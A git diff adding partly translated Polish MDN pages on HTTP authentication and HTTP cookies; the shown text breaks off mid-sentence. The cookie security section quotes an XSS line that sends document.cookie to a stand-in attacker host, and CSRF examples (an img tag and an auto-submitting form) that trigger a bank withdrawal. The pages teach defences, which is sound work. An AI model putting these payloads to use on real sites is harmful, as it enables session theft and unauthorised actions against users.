diff options
Diffstat (limited to 'files/pl/web/http')
| -rw-r--r-- | files/pl/web/http/authentication/index.html | 135 | ||||
| -rw-r--r-- | files/pl/web/http/ciasteczka/index.html | 263 | ||||
| -rw-r--r-- | files/pl/web/http/headers/cache-control/index.html | 171 | ||||
| -rw-r--r-- | files/pl/web/http/headers/data/index.html | 81 | ||||
| -rw-r--r-- | files/pl/web/http/headers/index.html | 374 | ||||
| -rw-r--r-- | files/pl/web/http/headers/referrer-policy/index.html | 260 | ||||
| -rw-r--r-- | files/pl/web/http/http_wiadomosci_ogólne/index.html | 178 | ||||
| -rw-r--r-- | files/pl/web/http/index.html | 89 |
8 files changed, 1551 insertions, 0 deletions
diff --git a/files/pl/web/http/authentication/index.html b/files/pl/web/http/authentication/index.html new file mode 100644 index 0000000000..d1a365fd50 --- /dev/null +++ b/files/pl/web/http/authentication/index.html @@ -0,0 +1,135 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +<div><font><font>{{HTTPSidebar}}</font></font></div> + +<p class="summary"><span class="seoSummary"><font><font>Protokół HTTP zapewnia ogólną strukturę kontroli dostępu i uwierzytelniania. </font><font>Ta strona stanowi wprowadzenie do struktury HTTP służącej do uwierzytelniania i pokazuje, jak ograniczyć dostęp do serwera za pomocą schematu HTTP „Basic”.</font></font></span></p> + +<h2 id="Ogólna_struktura_uwierzytelniania_HTTP"><font><font>Ogólna struktura uwierzytelniania HTTP</font></font></h2> + +<p><font><font>{{RFC ("7235")}} definiuje strukturę uwierzytelniania HTTP, która może być używana przez serwer do {{glosariusza ("wyzwanie")}} żądania klienta, a przez klienta do dostarczania informacji uwierzytelniających.</font></font></p> + +<p><font><font>Wyzwanie i przepływ odpowiedzi działają w następujący sposób:</font></font></p> + +<ol> + <li><font><font>Serwer odpowiada klientowi statusem odpowiedzi {{HTTPStatus ("401")}} (Unauthorized) i dostarcza informacji na temat autoryzacji za pomocą nagłówka odpowiedzi {{HTTPHeader ("WWW-Authenticate")}} zawierającego co najmniej jeden wyzwanie.</font></font></li> + <li>A client that wants to authenticate itself with the server can then do so by including an {{HTTPHeader("Authorization")}} request header with the credentials.</li> + <li>Usually a client will present a password prompt to the user and will then issue the request including the correct <code>Authorization</code> header.</li> +</ol> + +<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Diagram sekwencji uwierzytelniania HTTP klient-serwer"></p> + +<p>In the case of a "Basic" authentication like shown in the figure, the exchange <strong>must</strong> happen over an HTTPS (TLS) connection to be secure.</p> + +<h3 id="Proxy_authentication">Proxy authentication</h3> + +<p>The same challenge and response mechanism can be used for <em>proxy authentication</em>. As both resource authentication and proxy authentication can coexist, a different set of headers and status codes is needed. In the case of proxies, the challenging status code is {{HTTPStatus("407")}} (Proxy Authentication Required), the {{HTTPHeader("Proxy-Authenticate")}} response header contains at least one challenge applicable to the proxy, and the {{HTTPHeader("Proxy-Authorization")}} request header is used for providing the credentials to the proxy server.</p> + +<h3 id="Access_forbidden">Access forbidden</h3> + +<p>If a (proxy) server receives valid credentials that are inadequate to access a given resource, the server should respond with the {{HTTPStatus("403")}} <code>Forbidden</code> status code. Unlike {{HTTPStatus("401")}} <code>Unauthorized</code> or {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, authentication is impossible for this user.</p> + +<h3 id="Authentication_of_cross-origin_images">Authentication of cross-origin images</h3> + +<p>A potential security hole recently been fixed by browsers is authentication of cross-site images. From <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> onwards, image resources loaded from different origins to the current document are no longer able to trigger HTTP authentication dialogs ({{bug(1423146)}}), preventing user credentials being stolen if attackers were able to embed an arbitrary image into a third-party page.</p> + +<h3 id="Character_encoding_of_HTTP_authentication">Character encoding of HTTP authentication</h3> + +<p>Browsers use <code>utf-8</code> encoding for usernames and passwords.</p> + +<p>Firefox once used <code>ISO-8859-1</code>, but changed to <code>utf-8</code> for parity with other browsers and to avoid potential problems as described in {{bug(1419658)}}.</p> + +<h3 id="WWW-Authenticate_and_Proxy-Authenticate_headers">WWW-Authenticate and Proxy-Authenticate headers</h3> + +<p>The {{HTTPHeader("WWW-Authenticate")}} and {{HTTPHeader("Proxy-Authenticate")}} response headers define the authentication method that should be used to gain access to a resource. They must specify which authentication scheme is used, so that the client that wishes to authorize knows how to provide the credentials.</p> + +<p>The syntax for these headers is the following:</p> + +<pre class="syntaxbox notranslate">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p>Here, <code><type></code> is the authentication scheme ("Basic" is the most common scheme and <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">introduced below</a>). The <em>realm</em> is used to describe the protected area or to indicate the scope of protection. This could be a message like "Access to the staging site" or similar, so that the user knows to which space they are trying to get access to.</p> + +<h3 id="Authorization_and_Proxy-Authorization_headers">Authorization and Proxy-Authorization headers</h3> + +<p>The {{HTTPHeader("Authorization")}} and {{HTTPHeader("Proxy-Authorization")}} request headers contain the credentials to authenticate a user agent with a (proxy) server. Here, the <code><type></code> is needed again followed by the credentials, which can be encoded or encrypted depending on which authentication scheme is used.</p> + +<pre class="syntaxbox notranslate">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="Authentication_schemes">Authentication schemes</h3> + +<p>The general HTTP authentication framework is used by several authentication schemes. Schemes can differ in security strength and in their availability in client or server software.</p> + +<p>The most common authentication scheme is the "Basic" authentication scheme, which is introduced in more detail below. IANA maintains a <a class="external external-icon" href="https://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">list of authentication schemes</a>, but there are other schemes offered by host services, such as Amazon AWS. Common authentication schemes include:</p> + +<dl> + <dt><strong>Basic</strong></dt> + <dd>See {{rfc(7617)}}, base64-encoded credentials. More information below.</dd> + <dt><strong>Bearer</strong></dt> + <dd>See {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources</dd> + <dt><strong>Digest</strong></dt> + <dd>See {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support</dd> + <dt><strong>HOBA</strong></dt> + <dd>See {{rfc(7486)}}, Section 3, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based</dd> + <dt><strong>Mutual</strong></dt> + <dd>See {{rfc(8120)}}</dd> + <dt><strong>AWS4-HMAC-SHA256</strong></dt> + <dd>See <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a></dd> +</dl> + +<h2 id="Basic_authentication_scheme">Basic authentication scheme</h2> + +<p>The "Basic" HTTP authentication scheme is defined in {{rfc(7617)}}, which transmits credentials as user ID/password pairs, encoded using base64.</p> + +<h3 id="Security_of_basic_authentication">Security of basic authentication</h3> + +<p>As the user ID and password are passed over the network as clear text (it is base64 encoded, but base64 is a reversible encoding), the basic authentication scheme <strong>is not secure</strong>. HTTPS/TLS should be used with basic authentication. Without these additional security enhancements, basic authentication should not be used to protect sensitive or valuable information.</p> + +<h3 id="Restricting_access_with_Apache_and_basic_authentication">Restricting access with Apache and basic authentication</h3> + +<p>To password-protect a directory on an Apache server, you will need a <code>.htaccess</code> and a <code>.htpasswd</code> file.</p> + +<p>The <code>.htaccess</code> file typically looks like this:</p> + +<pre class="notranslate">AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p>The <code>.htaccess</code> file references a <code>.htpasswd</code> file in which each line consists of a username and a password separated by a colon (<code>:</code>). You cannot see the actual passwords as they are <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">hashed</a> (using MD5-based hashing, in this case). Note that you can name your <code>.htpasswd</code> file differently if you like, but keep in mind this file shouldn't be accessible to anyone. (Apache is usually configured to prevent access to <code>.ht*</code> files).</p> + +<pre class="notranslate">aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="Restricting_access_with_nginx_and_basic_authentication">Restricting access with nginx and basic authentication</h3> + +<p>For nginx, you will need to specify a location that you are going to protect and the <code>auth_basic</code> directive that provides the name to the password-protected area. The <code>auth_basic_user_file</code> directive then points to a <code>.htpasswd</code> file containing the encrypted user credentials, just like in the Apache example above.</p> + +<pre class="notranslate">location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="Access_using_credentials_in_the_URL">Access using credentials in the URL</h3> + +<p>Many clients also let you avoid the login prompt by using an encoded URL containing the username and the password like this:</p> + +<pre class="example-bad notranslate">https://username:password@www.example.com/</pre> + +<p><strong>The use of these URLs is deprecated</strong>. In Chrome, the <code>username:password@</code> part in URLs is even <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">stripped out</a> for security reasons. In Firefox, it is checked if the site actually requires authentication and if not, Firefox will warn the user with a prompt "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li><font><font>{{HTTPStatus ("401")}}, {{HTTPStatus ("403")}}, {{HTTPStatus ("407")}}</font></font></li> +</ul> diff --git a/files/pl/web/http/ciasteczka/index.html b/files/pl/web/http/ciasteczka/index.html new file mode 100644 index 0000000000..d8720ac4c4 --- /dev/null +++ b/files/pl/web/http/ciasteczka/index.html @@ -0,0 +1,263 @@ +--- +title: Ciasteczka HTTP +slug: Web/HTTP/Ciasteczka +tags: + - aplikacje internetowe + - ciasteczka + - ciasteczka artykuł + - dane + - pamięć przeglądarki + - pliki cookie + - protokoły + - prywatność + - przeglądarka + - serwer + - śledzenie + - żądania HTTP +translation_of: Web/HTTP/Cookies +--- +<p>{{HTTPSidebar}}</p> + +<p class="summary"><span class="seoSummary">Ciasteczka HTTP (pliki cookie) to niewielkie obiekty danych, które serwer wysyła do przeglądarki internetowej użytkownika. Przeglądarka może je przechowywać i wysyłać ponownie do tego samego serwera wraz z kolejnym żądaniem.</span> Przeważnie są używane do określenia czy dwa żądania zostały nadane z tej samej przeglądarki, np. aby użytkownik pozostał zalogowany. Są sposobem na zapamiętanie informacji o stanie sesji pomimo bezstanowej natury protokołu HTTP.</p> + +<p>Główne zastosowania ciasteczek:</p> + +<dl> + <dt>Zarządzanie sesją</dt> + <dd>Loginy, koszyki sklepów internetowych, rezultaty w grach i wszystko inne o czym powinien pamiętać serwer</dd> + <dt>Personalizacja</dt> + <dd>Preferencje użytkownika, motywy i inne ustawienia</dd> + <dt>Śledzenie</dt> + <dd>Zapisywanie i analiza zachowania użytkownika</dd> +</dl> + +<p>Ciasteczka wykorzystywano kiedyś do przechowywania wszelkiego rodzaju plików po stronie klienta. Było to uzasadnione w czasach, gdy brakowało alternatywnych rozwiązań. Aktualnie zaleca się stosowanie nowoczesnych API do zapamiętywania danych. Ciasteczka są wysyłane wraz z każdym żądaniem, więc mogą spowodować pogorszenie wydajności (szczególnie dla połączeń mobilnych). Nowoczesne API do przechowywania plików to <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> (<code>localStorage</code> i <code>sessionStorage</code>) oraz <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p> + +<div class="note"> +<p>Aby podejrzeć przechowywane ciasteczka (lub inne pamięci, z których mogą korzystać strony internetowe) należy wejść w zakładkę <a href="/pl/docs/Narzędzia/Storage_Inspector">Dane</a> w narzędziach dla programistów dostępnych w przeglądarce.</p> +</div> + +<h2 id="Tworzenie_ciasteczek">Tworzenie ciasteczek</h2> + +<p>Otrzymując żądanie HTTP serwer może wysłać wraz z odpowiedzią nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a>. Ciasteczko jest zazwyczaj przechowywane przez przeglądarkę, by następnie zostać wysłane wraz z żądaniami do tego samego serwera jako wartość nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>. Istnieje opcja ustawienia daty wygaśnięcia lub czasu trwania, po których ciasteczko nie będzie wysyłane. Dodatkowo można ustawić ograniczenia dla konkretnej domeny lub ścieżki, aby dla wartości innych niż podane nie przesyłać ciasteczka.</p> + +<h3 id="Nagłówki_Set-Cookie_i_Cookie">Nagłówki <code>Set-Cookie</code> i <code>Cookie</code></h3> + +<p>Nagłówek <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> jest zawarty w odpowiedzi serwera na żądanie HTTP agenta użytkownika (np. przeglądarki). Przykładowo:</p> + +<pre class="syntaxbox">Set-Cookie: <nazwa-ciasteczka>=<wartość-ciasteczka></pre> + +<p>Ten nagłówek nadany przez serwer informuje klienta, że należy zapisać ciasteczko.</p> + +<div class="note"><strong>Uwaga:</strong> W odnośnikach znajdują się przykłady użycia nagłówka <code>Set-Cookie</code> w różnych aplikacjach uruchamianych po stronie serwera: + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="https://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/2.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[page content]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Teraz z każdym kolejnym żądaniem do serwera, używając nagłówka <a href="/pl/docs/Web/HTTP/Headers/Cookie">Cookie</a>, przeglądarka będzie wysyłać także wszystkie przechowywane ciasteczka.</p> + +<pre>GET /sample_page.html HTTP/2.0 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<h3 id="Ciasteczka_sesyjne">Ciasteczka sesyjne</h3> + +<p>Ciasteczko stworzone w poprzedniej sekcji jest <em>ciasteczkiem sesyjnym</em>: zostaje usunięte wraz z wyłączeniem klienta, ponieważ nie użyto dyrektyw <code>Expires</code> lub <code>Max-Age</code>. Jednakże przeglądarki mogą użyć mechanizmu <strong>przywracania sesji</strong>, który zmienia większość ciasteczek sesyjnych w trwałe, tak jakby przeglądarka nie została nigdy zamknięta.</p> + +<h3 id="Ciasteczka_trwałe">Ciasteczka trwałe</h3> + +<p>Zamiast wygasnąć po wyłączeniu klienta, <em>trwałe ciasteczka</em> wygasają w konkretnym terminie (<code>Expires</code>) lub po określonym czasie (<code>Max-Age</code>).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>Uwaga</strong>: Ustawiając termin wygaśnięcia, czas i data są określane w odniesieniu do klienta, który zapisuje ciasteczko, nie w odniesieniu do serwera.</p> +</div> + +<h3 id="Ciasteczka_Secure_i_HttpOnly"><a name="ciasteczka_secure_i_httponly">Ciasteczka <code>Secure</code> i <code>HttpOnly</code></a></h3> + +<p>Bezpieczne ciasteczko może być wysłane do serwera tylko i wyłącznie zaszyfrowanym żądaniem protokołu HTTPS. Nawet używając dyrektywy <code>Secure</code>, poufne dane <em>nigdy</em> nie powinny być przechowywane w ciasteczkach, ponieważ nie są one bezpieczne, a ta flaga nie może zaoferować dostatecznej ochrony. Zaczynając od przeglądarek Chrome 52 i Firefox 52, niepewne strony (<code>http:</code>) nie mają możliwości ustawiania ciasteczek z dyrektywą <code>Secure</code>.</p> + +<p>Aby ograniczać możliwości przeprowadzenia ataku cross-site scripting ({{Glossary("XSS")}}), ciasteczka <code>HttpOnly</code> są niedostępnie dla JavaScript'owego {{domxref("Document.cookie")}} API; można je tylko wysyłać do serwera. Przykładowo, ciasteczka utrzymujące sesję po stronie serwera nie muszą być dostępne dla JavaScript'u, więc flaga <code>HttpOnly</code> powinna być ustawiona.</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Zakres_ciasteczek">Zakres ciasteczek</h3> + +<p>Dyrektywy <code>Domain</code> i <code>Path</code> definiują <em>zakres</em> ciasteczka: do jakich adresów URL ciasteczka powinny być wysyłane.</p> + +<p><code>Domain</code> określa dozwolone hosty sieciowe. Jeżeli nie jest ustawiona to domyślną wartością jest <a href="/en-US/docs/Web/API/Document/location">host aktualnej lokalizacji dokumentu</a>, <strong>z pominięciem subdomen.</strong> Jeżeli dyrektywa <code>Domain</code> <em>jest</em> określona to subdomeny zawsze są uwzględnione.</p> + +<p>Przykładowo, jeżeli ustawiono <code>Domain=mozilla.org</code>, to ciasteczka są uwzględnione także dla subdomen takich jak <code>developer.mozilla.org</code>.</p> + +<p><code>Path</code> oznacza, że podana ścieżka URL musi być zawarta w żądanym adresie URL aby wysłać nagłówek <code>Cookie</code>. Znak %x2F ("/") jest uznawany za separator katalogu, a wszystkie podkatalogi także spełniają warunek.</p> + +<p>Jeżeli ustawiono <code>Path=/docs</code>, to następujące przykładowe ścieżki będą pasować:</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="Ciasteczka_SameSite_experimental_inline"><a id="ciasteczka_samesite" name="ciasteczka_samesite"></a>Ciasteczka <code>SameSite</code> {{experimental_inline}}</h3> + +<p>Ciasteczka <code>SameSite</code> pozwalają serwerom wymagać, aby nie były one przesyłane żądaniami pomiędzy stronami internetowymi (gdzie {{Glossary("Site")}} jest zdefiniowane jako rejestrowalna domena), co zapewnia pewną ochronę od ataków <em>Cross-Site Request Forgery</em> ({{Glossary("CSRF")}}).</p> + +<p>Ciasteczka <code>SameSite</code> są relatywnie nowe, ale <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">wspierane przez wszystkie główne przeglądarki internetowe</a>.</p> + +<p>Przykładowo:</p> + +<pre>Set-Cookie: nazwa=wartość; SameSite=Strict</pre> + +<p>Atrybut <code>SameSite</code> może przyjmować jedną z trzech wartości (<span class="tlid-translation translation" lang="pl"><span title="">bez rozróżniania wielkości liter</span></span>):</p> + +<dl> + <dt><code>None</code></dt> + <dd>Przeglądarka będzie wysyłać ciasteczka zarówno żądaniami pomiędzy stronami (<em>cross-site</em>) jak i żądaniami odnoszącymi się do aktualnej strony (<em>same-site</em>).</dd> + <dt><code>Strict</code></dt> + <dd>Przeglądarka będzie wysyłać ciasteczka tylko żądaniami <em>same-site</em> (pochodzącymi z witryny, która ustawia ciasteczko). Jeżeli żądanie nie pochodzi z adresu URL aktualnej lokacji to żadne z ciasteczek oznaczonych atrybutem <code>Strict</code> nie zostanie przesłane.</dd> + <dt><code>Lax</code></dt> + <dd>Ciasteczka <code>SameSite</code> są wstrzymywane przy żądaniach, które wywołują ładowanie obrazów lub ramek z innych stron. Będą jednak wysłane, gdy użytkownik przechodzi do adresu URL z zewnętrznej strony, np. poprzez kliknięcie w link.</dd> +</dl> + +<div class="blockIndicator note"> +<p>Przeglądarki decydują się na <a href="https://www.chromestatus.com/feature/5088147346030592">domyślne ustawianie <code>SameSite=Lax</code></a>. Jeżeli istnieje potrzeba wysyła ciasteczka pomiędzy różnymi źródłami (<em>cross-origin</em>), należy zrezygnować z zabezpieczenia SameSite używając wartości <code>None</code> dla tej dyrektywy. Wymaga ona obecności atrybutu <a href="#ciasteczka_secure_i_httponly"><code>Secure</code></a>.</p> +</div> + +<h3 id="Prefiksy_ciasteczek_experimental_inline">Prefiksy ciasteczek {{experimental_inline}}</h3> + +<p>Konstrukcja mechanizmu działania ciasteczek uniemożliwia serwerowi otrzymanie potwierdzenia ustawienia ciasteczka dla bezpiecznego źródła, a nawet dowiedzenia się <em>gdzie</em> ciasteczko zostało pierwotnie ustawione. Każda subdomena jak na przykład <code>application.example.com</code> może ustawić ciasteczko, które będzie wysyłane wraz z żądaniami do <code>example.com</code> lub do innych subdomen dzięki ustawieniu atrybutu <em>Domain</em>:</p> + +<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre> + +<p>Jeżeli podatna aplikacja jest dostępna na subdomenie to ten mechanizm może być wykorzystany w ataku <em>session fixation.</em> Gdy użytkownik odwiedza stronę na głównej domenie (lub innej subdomenie), aplikacja może zaufać istniejącej wartości wysłanej w ciasteczku użytkownika. To może pozwolić atakującemu ominąć zabezpieczenie przed CSRF lub przejąć sesję po zalogowaniu się użytkownika.</p> + +<p>Alternatywnie, jeżeli główna domena nie używa {{Glossary("HSTS")}} z ustawioną opcją <code>includeSubdomains</code>, to użytkownikowi podlegającemu właśnie atakowi MitM (być może podłączonemu do otwartej sieci Wi-Fi) może zostać zwrócona odpowiedź na żądanie wraz z ustawionym nagłówkiem <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> z nieistniejącej subdomeny. Wynik końcowy byłby taki sam, ponieważ przeglądarka przechowywałaby nielegalny plik cookie i wysyłałaby go na wszystkie inne strony w domenie <code>example.com</code>.</p> + +<p>Aby ograniczyć możliwości przeprowadzenia ataku <em>session fixation</em> <span class="tlid-translation translation" lang="pl"><span title="">powinno się przede wszystkim ponownie generować wartości ciasteczka sesyjnego gdy użytkownik się uwierzytelnia (nawet jeśli ciasteczko już istnieje) i dokonywać powiązania tokena CSRF z użytkownikiem.</span> <span title="">W ramach silniejszej obrony możliwe jest użycie <em>prefiksów ciasteczek</em> w celu potwierdzenia pewnych faktów na temat samych ciasteczek.</span> <span title="">Dostępne są dwa prefiksy:</span></span></p> + +<dl> + <dt><code>__Host-</code></dt> + <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code>, wysłaną z bezpiecznego źródła (HTTPS), <em>nie</em> posiadającą atrybutu <code>Domain</code> i mającą atrybut <code>Path</code> o wartości <code>/</code>. Tym sposobem ciasteczka mogą być widoczne jako "domain-locked".</dd> + <dt><code>__Secure-</code></dt> + <dd>Jeżeli ciasteczko posiada ten prefiks, to będzie ono zaakceptowane tylko poprzez dyrektywę <a href="/pl/docs/Web/HTTP/Headers/Set-Cookie">Set-Cookie</a> oznaczoną jako <code>Secure</code> i wysłaną z bezpiecznego źródła (HTTPS). Jest to słabsze zabezpieczenie niż prefiks <code>__Host-</code>.</dd> +</dl> + +<p>Ciasteczka niespełniające kryteriów zostaną odrzucone przez przeglądarkę. Zapewnia to, że gdyby subdomena spróbowała stworzyć takie ciasteczko, to zostanie ono ograniczone do subdomeny lub całkowicie zignorowane. Podczas określania, czy użytkownik jest uwierzytelniony lub czy token CSRF jest poprawny, serwer aplikacji sprawdza tylko ciasteczka o określonych nazwach. Dzięki temu mechanizm prefiksów efektywnie działa jako obrona przed <em>session fixation.</em></p> + +<div class="note"> +<p>Aplikacja będąca serwerem <em>musi</em> sprawdzić ciasteczko o pełnej nazwie uwzględniającej prefiks. Dlatego agent użytkownika aplikacji <em>nie</em> wytnie prefiksu przed wysłaniem ciasteczka w nagłówku {{HTTPHeader("Cookie")}}.</p> +</div> + +<p>Aby uzyskać więcej informacji o prefiksach ciasteczek i aktualnym stanie wspieralności tego rozwiązania przez przeglądarki odwiedź <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">sekcję Set-Cookie</a>.</p> + +<h3 id="Dostęp_JavaScript_za_pomocą_Document.cookie">Dostęp JavaScript za pomocą <code>Document.cookie</code></h3> + +<p>Nowe ciasteczka mogą być tworzone z użyciem JavaScriptu poprzez użycie właściwości {{domxref("Document.cookie")}}, a jeżeli flaga <code>HttpOnly</code> nie jest ustawiona, to także istniejące ciasteczka są dostępne.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Ciasteczka stworzone z użyciem JavaScriptu nie mogą zawierać flagi <code>HttpOnly</code>.</p> + +<p>Ciasteczka dostępne dla JavaScriptu są narażone na cyberataki. Więcej szczegółów znajduje się w poniższej sekcji<a href="/en-US/docs/Web/HTTP/Cookies#Security">.</a></p> + +<h2 id="Bezpieczeństwo">Bezpieczeństwo</h2> + +<div class="note"> +<p>Należy zawsze pamiętać, że informacje przechowywane w ciasteczkach będą widoczne i mogą zostać zmodyfikowane przez użytkownika. W zależności od aplikacji, pożądane może być użycie nieprzejrzystego identyfikatora sprawdzanego po stronie serwera lub rozważenie alternatywnych mechanizmów uwierzytelniania/poufności takich jak JSON Web Tokens.</p> +</div> + +<h3 id="Przejmowanie_sesji_i_XSS">Przejmowanie sesji i XSS</h3> + +<p>Ciasteczka są często używane w aplikacjach webowych do identyfikowania użytkownika i jego uwierzytelnionej sesji, więc kradzież ciasteczka może prowadzić do jej przejęcia. Powszechnymi sposobami kradzieży ciasteczek są inżynieria społeczna i wykorzystywanie podatności XSS w aplikacjach.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre> + +<p>Atrybut <code>HttpOnly</code> może pomóc uniknąć tego ataku poprzez zablokowanie JavaScriptowi dostępu do wartości ciasteczka. Sposobem na złagodzenie skutków takiego ataku jest wdrożenie surowej <a href="/en-US/docs/Web/HTTP/CSP">polityki bezpieczeństwa treści (<em>CSP</em>)</a>.</p> + +<h3 id="Cross-site_request_forgery_CSRF">Cross-site request forgery (CSRF)</h3> + +<p>Na stronie <a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedii</a> znajduje się dobry przykład {{Glossary("CSRF")}}. W tej sytuacji ktoś załączył element "img", który tak na prawdę nie jest obrazem (np. na niefiltrowanym czacie lub forum), a zamiast tego jest żądaniem do serwera banku użytkownika mającym na celu wypłatę pieniędzy:</p> + +<pre class="brush: html"><img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Jeżeli jesteś aktualnie zalogowany na swoim koncie bankowym i odpowiadające ciasteczka są dalej aktualne (i nie ma żadnej dodatkowej walidacji), to próba załadowania "obrazka" zakończy się przelewem pieniędzy. Dla punktów końcowych wymagających żądania POST jest możliwe aby programowo wykonać potwierdzenie formularza (być może zawartego w niewidzialnym elemencie <code><iframe></code>) gdy strona jest ładowana:</p> + +<pre class="brush: html"><form action="https://bank.example.com/withdraw" method="POST"> + <input type="hidden" name="account" value="bob"> + <input type="hidden" name="amount" value="1000000"> + <input type="hidden" name="for" value="mallory"> +</form> +<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script> +</pre> + +<p>Jest kilka technik, których stosowanie powinno być używane do zapobiegania CSRF:</p> + +<ul> + <li>punkty końcowe GET powinny być idempotentne — akcje, które wprowadzają <em>zmianę </em>i nie mają na celu zwykłego pobrania danych powinny być wykonywane żądaniem POST (lub inną metodą HTTP). Punkty końcowe POST nie powinny dodatkowo obsługiwać żądań GET z parametrami query.</li> + <li>Token CSRF powinien być zawarty w elementach <code><form></code> poprzez użycie niewidzialnego pola wejściowego <code><input type="hidden"></code>. Powinien on być unikalny dla każdego użytkownika i przechowywany (np. w ciasteczku) w sposób pozwalający serwerowi podejrzeć oczekiwną wartość w momencie odebrania żądania HTTP. Dla wszystkich nie-GET'owych żądań potencjalnie mogących wykonać jakąś akcję w systemie, ten token powinien być porównany z jego zapisaną wartością. W przypadku niezgodności należy odrzucić takie żądanie. + <ul> + <li>Ta metoda zabezpieczania polega na tym, że atakujący nie jest w stanie przewidzieć jak wygląda otrzymany przez użytkownika token CSRF. Dodatkowo token powinien być generowany ponownie po każdym zalogowaniu się użytkownika.</li> + </ul> + </li> + <li>Ciasteczka używane do wykonywania poufnych akcji (takie jak ciasteczka sesyjne) powinny mieć krótki czas życia i atrybut <code>SameSite</code> ustawiony na <code>Strict</code> lub <code>Lax</code>. (zobacz <a href="#ciasteczka_samesite">ciasteczka SameSite</a>). W przeglądarkach wspierających tę funkcjonalność, efektem będzie upewnienie się, że ciasteczko sesyjne <em>nie</em><em> </em>zostanie wysłane w żądaniach do innych stron, więc żądania te nie będą przez serwer aplikacji uwierzytelnione.</li> + <li>Wdrożenie zarówno tokenów CSRF jak i ciasteczek <code>SameSite</code> zapewnia ochronę wszystkich przeglądarek nawet w przypadkach gdy ochrona mechanizmu <code>SameSite</code> nie może pomóc (np. gdy źródłem ataków jest oddzielna subdomena).</li> + <li>Aby poznać inne metody zabezpieczające przed CSRF sprawdź <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html">ściągawkę przygotowaną przez organizację OWASP</a>.</li> +</ul> + +<h2 id="Śledzenie_i_prywatność">Śledzenie i prywatność</h2> + +<h3 id="Ciasteczka_podmiotów_zewnętrznych_third-party_cookies">Ciasteczka podmiotów zewnętrznych (<em>third-party cookies</em>)</h3> + +<p>Ciasteczka zawsze mają przyporządkowaną jakąś domenę. Jeżeli jest ona tą samą domeną co domena aktualnie odwiedzanej strony to nazywamy ciasteczko <em>własnym</em> (<em>first-party cookie</em>). W innym przypadku mówimy o ciasteczku <em>zewnętrznego podmiotu/witryny</em>. Podczas gdy ciasteczka własne są wysyłane tylko do serwerów, które je ustawiły, strona 